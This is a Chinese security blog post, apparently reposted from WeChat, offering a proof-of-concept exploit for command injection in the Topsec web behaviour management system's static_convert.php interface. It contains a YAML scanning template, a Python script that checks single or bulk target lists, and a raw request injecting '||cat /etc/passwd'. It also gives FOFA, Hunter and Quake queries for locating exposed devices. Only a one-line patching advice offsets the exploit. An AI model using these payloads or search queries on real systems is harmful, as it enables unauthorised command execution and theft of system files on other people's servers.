POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id: TopsecACM-static_convert-rce
info:
name: 天融信上网行为管理系统系统某接口 RCE
author: god
severity: critical
description: 天融信上网行为管理系统系统某接口 RCE
metadata:
fofa-query: app="天融信-上网行为管理系统"
tags: rce,topsec
http:
- raw:
- |+
@timeout: 30s
GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "root")'
condition: and
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning
RED = '�33[91m'
RESET = '�33[0m'
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_file_read(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'
}
file_read_url = f"{url.rstrip('/')}/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd"
try:
response = requests.get(file_read_url, headers=headers, verify=False, timeout=30)
if response.status_code == 200 and "root" in response.text:
print(f"{RED}URL [{url}] 存在天融信上网行为管理系统系统某接口 RCE漏洞{RESET}")
else:
print(f"URL [{url}] 可能不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在天融信上网行为管理系统系统某接口 RCE漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_file_read(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_file_read(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
天融信上网行为管理系统具有高效实时的网络数据采集能力、智能的信息处理能力、强大的内容审计分析能力、精细的行为管理能力,是一款高性能、智能灵活、易于管理和扩展的上网行为管理产品。其
static_convert
接口blocks
参数存在任意命令执行漏洞。攻击者可以通过漏洞执行任意命令从而获取服务器权限,对服务器造成极大的安全隐患。❞
资产测绘
-
「Fofa」
❝
app="天融信-上网行为管理系统"
❞
-
「Hunter」
❝
app.name="Topsec 天融信上网行为管理系统"
❞
-
「Quake」
❝
app="天融信-上网行为管理系统"
❞
漏洞复现
「1、构造数据包」
GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd HTTP/1.1
Host: ip
「2、查看返回包」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】天融信上网行为管理系统系统某接口 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论